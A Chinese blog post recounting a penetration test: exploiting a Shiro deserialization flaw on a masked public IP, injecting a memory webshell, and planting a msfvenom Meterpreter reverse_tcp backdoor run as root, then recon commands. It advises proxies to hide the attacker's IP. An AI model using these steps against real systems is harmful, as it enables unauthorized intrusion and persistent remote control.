• 记一次实战 Shiro反序列化内网上线


    Shiro反序列化内网上线


    说明:
    此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负。
    感谢各位大佬的关注

    目标:152.xxx.xxx.xxx
    目的:通过信息收集或其他方式寻找到了一枚shiro反序列化的漏洞,并进行了内网渗透测试工作
    类型:Web反序列化漏洞

    介绍:
    Shiro 是 Java安全框架通过序列化,进行AES密钥做身份验证加密(cookie加密)通过shiro硬编码 比证密钥 获取目标利用链并进行上线操作
    image.png
    本文的起因是在一次渗透测试中,挖掘到了一个shiro反序列化 故进行了内网渗透尝试

    特征:
    在请求消息中 构造cookie
    添加一个参数rememberMe=xxx,观察响应消息头中的Set-Cookie是否有rememberMe=deleteMe;如果有则说明使用了shiro框架
    image.png

    信息收集


    这里我采用的是网络空间测绘引擎、目录信息收集、域名收集 等进行了资产整合利用

    将搜集的信息 导出整合数据 备用

    image

    1. 利用检测工具 减少误判率

    这里我用的是java开发的shiroScan 检测工具
    *扫之前记得开代理 查询当前代理IP
    image.png

    在当前目录下开始对目标进行扫描 再次筛选存活并可利用的网站
    image.png

    将筛选结果导出保存
    image.png

    漏洞利用


    1. 这边我利用shiro利用工具对目标进行”硬编码“ 密钥爆破操作

    这里我用的是java开发的shiro利用工具
    筛选目标时 发现目标存在Shiro反序列化漏洞 采用了硬编码
    image.png
    在工具内进行功能区的利用,在爆破完成后,对目标进行目录扫描。【记得开代理】
    kali中 开个小代理
    image.png
    2.这边对目标进行目录收集
    image.png
    3.这边当即对 目标目录 进行内存马注入操作
    拓展一下:
    内存马 是无文件渗透测试的一种常用手段
    webshell的变迁过程大致如下所述:
    web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
    因为传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,故内存马使用越来越多
    image.png
    这边我使用 蚁剑 尝试连接成功
    image.png
    蚁剑的命令行中执行 查询命令时 发现该目标是root用户 Linux系统 初步判断是Debian
    image.png

    目标上线


    这里开始利用 metasploit 安全漏洞检测工具中的_msfvenom payload生成器 _使目标上线

    msfvenom生成 Linux 后门程序,这里刚开始我是使用的cobalt strike 中生成的Java后门程序发现行不通 可能是因为目标JDK的版本 导致不兼容的原因,故利用metasploit的msfvenom生成后门程序 结合“蚁剑”上传后门程序 使目标成功进行执行上线操作

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[lhost_ip] lport=22715 -f elf -o 123.elf
    image.png
    将生成的后门程序 上传至目标 并利用蚁剑的命令行执行此文件 记得改文件执行权限
    chmod 777 123.elf;
    chmod u+x 123.elf;
    ./123.elf 执行文件
    image.png
    后门程序“123.elf” 成功上传至目标/bin目录下

    执行msfconsole 进入MSF命令接口 执行快速监听等待目标成功上线
    image.png
    利用meterpreter成功拿shell
    它是攻击载荷能够获得目标系统的一个Meterpreter shell的链接
    image.png

    内网渗透 Linux信息收集

    查询主机名

    2>/dev/null,作用是丢弃错误信息
    hostname 2>/dev/null
    image.png

    查询系统名称

    cat /etc/issue
    image.png

    查询内核版本

    查询系统和内核的所有相关信息
    依次为内核名称,主机名,内核版本号,内核版本,硬件架构名称,处理器类型,硬件平台类型,操作系统名称
    uname -a
    image.png

    查询CPU信息

    cat /proc/cpuinfo
    image.png

    查询磁盘信息

    查询文件系统磁盘的详细信息
    包括磁盘名称,内存大小,已用空间,可用空间,挂载点
    查看本地磁盘信息
    df -lh
    查看所有磁盘信息
    df -ah
    image.png

    查询网络连接状态

    访问网络连接状态及其相关信息的程序
    image.png
    这里可以看到在目标执行中的"123.elf"后门程序

    点到为止 测试结束


    __EOF__

  • 本文作者: -Kio-
  • 本文链接: https://www.cnblogs.com/Webkio/p/16482980.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    容斥 C. Strange Function改编题
    贪心算法之活动安排问题
    Springboot使用webupload大文件分片上传(包含前后端源码)
    Qt 输入组控件(Input Widgets)& 显示组控件(Display Widgets)详解
    K-Means(下):数据分析 | 数据挖掘 | 十大算法之一
    Tpflow V6.0.8 正式版发布
    CommonsCollection4反序列化链学习
    Appium自动化测试基础 — APPium基础操作API(二)
    Python Packaging & Distribution
    麒麟810芯片的手机在编程方面有哪些特点
  • 原文地址:https://www.cnblogs.com/Webkio/p/16482980.html